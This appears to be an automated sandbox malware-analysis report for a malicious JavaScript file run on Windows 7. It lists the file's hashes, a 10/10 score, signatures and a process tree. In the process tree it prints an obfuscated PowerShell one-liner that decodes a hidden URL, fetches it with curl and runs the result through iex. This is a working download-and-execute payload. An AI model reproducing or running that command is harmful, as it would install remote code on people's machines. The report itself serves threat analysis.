Analysis
-
max time kernel
118s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20241010-en -
resource tags
-
submitted
21-12-2024 14:58
General
-
Target
11b569a0266b290d8af3e17f6d51dee700d593b7a338c1800c4d0403ad9000be.js
-
Size
215KB
-
MD5
426eec9f07878c4590c5ff8bb81ffe86
-
SHA1
510bd4a707e0e7ea830a41c253bf7f08677a53fd
-
SHA256
11b569a0266b290d8af3e17f6d51dee700d593b7a338c1800c4d0403ad9000be
-
SHA512
e72349f724e52d01d30af3c9b3f68a1a37075a87e59812481362236551fe2de438ec4b43256606800f2caf51fd3344eecf3f0423b5642989783bcddaeeb64695
-
SSDEEP
3072:nGLf+ClhBKrlMLf+ClhBKr35iLf+ClhBKrtLf+ClhBKrF:qfJ93fJ9DfJ9SfJ9+
Score
10/10
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Command and Scripting Interpreter: JavaScript 1 TTPs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\11b569a0266b290d8af3e17f6d51dee700d593b7a338c1800c4d0403ad9000be.js1⤵
-
C:\Windows\system32\conhost.execonhost --headless powershell $lfkuecphjxbgt='ur' ;new-alias printout c$($lfkuecphjxbgt)l;$ufkhmqtnp=(5039,5050,5058,5042,5044,5039,5059,5058,5063,4996,5058,4992,5039,4987,5057,5052,5053,4988,4990,4987,5053,5045,5053,5004,5056,5002,5050,5046,5051,5057,5056,4991,4990);$oxqfsiypbvmlc=('bronx','get-cmdlet');$qafhbszpgljkor=$ufkhmqtnp;foreach($idlpmctawshfre in $qafhbszpgljkor){$dugfthaezkb=$idlpmctawshfre;$eghdvbfl=$eghdvbfl+[char]($dugfthaezkb-4941);$kyrfui=$eghdvbfl; $gpfrtjoizhwm=$kyrfui};$tnhxdcyriv[2]=$gpfrtjoizhwm;$xgzsykvhewbcro='rl';$khiuwfqrzbova=1;.$([char](9992-9887)+'e'+'x')(printout -useb $gpfrtjoizhwm)1⤵
- Process spawned unexpected child process